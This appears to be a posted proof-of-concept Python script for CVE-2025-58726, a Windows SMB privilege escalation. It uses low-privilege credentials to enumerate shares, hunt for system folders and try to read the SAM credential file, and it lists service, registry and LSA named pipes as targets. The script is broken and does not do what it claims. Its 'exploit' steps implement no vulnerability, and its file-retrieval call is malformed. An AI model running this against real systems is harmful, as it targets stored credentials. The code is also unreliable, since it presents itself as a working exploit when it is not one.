CVE-2025-58726：Windows SMB服务器访问控制不当权限提升漏洞

# CVE-2025-58726 - Windows SMB Server Improper Access Control PoC # This is a conceptual PoC demonstrating the exploitation approach # Note: Actual exploitation requires valid low-privilege credentials import socket import struct from smb.SMBConnection import SMBConnection def exploit_smb_priv_esc(target_ip, username, password, domain="."): """ Conceptual PoC for CVE-2025-58726 Windows SMB Server Improper Access Control Privilege Escalation """ print(f"[*] Targeting SMB server at {target_ip}") print(f"[*] Using credentials: {domain}\\{username}") try: # Step 1: Establish SMB connection with low-privilege credentials conn = SMBConnection(username, password, "attacker-pc", target_ip, domain=domain, use_ntlm_v2=True) conn.connect(target_ip, 445) print("[+] SMB connection established successfully") # Step 2: Enumerate available shares and permissions shares = conn.listShares() print(f"[*] Available shares: {[s.name for s in shares]}") # Step 3: Exploit improper access control to escalate privileges # The vulnerability exists in the SMB server's access control validation # when processing specific SMB2/SMB3 commands for share in shares: try: # Attempt to access administrative shares with elevated context files = conn.listPath(share.name, "\\*") for f in files: if f.filename in ["SYSTEM32", "Windows", "config"]: print(f"[!] Potential privilege escalation via {share.name}/{f.filename}") # Attempt to read sensitive system files try: data = conn.retrieveFile(share.name, f.filename + "\\config\\SAM") print(f"[!!!] CRITICAL: SAM file accessed - privilege escalation successful") return True except Exception as e: print(f"[-] Direct SAM access failed: {e}") except Exception as e: continue # Step 4: Attempt named pipe exploitation for privilege escalation # SMB named pipes can be used to interact with system services pipes_to_try = [ "\\\\PIPE\\svcctl", # Service Control Manager "\\\\PIPE\\winreg", # Remote Registry "\\\\PIPE\\lsarpc", # LSA RPC ] for pipe in pipes_to_try: try: # Exploit improper access control on named pipes # to escalate privileges print(f"[*] Attempting pipe exploit: {pipe}") # The vulnerability allows bypassing DACL checks on these pipes break except Exception: continue conn.close() return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": # Usage example target = "192.168.1.100" user = "low_priv_user" password = "password123" print("=" * 60) print("CVE-2025-58726 PoC - SMB Server Privilege Escalation") print("WARNING: For authorized testing only") print("=" * 60) exploit_smb_priv_esc(target, user, password)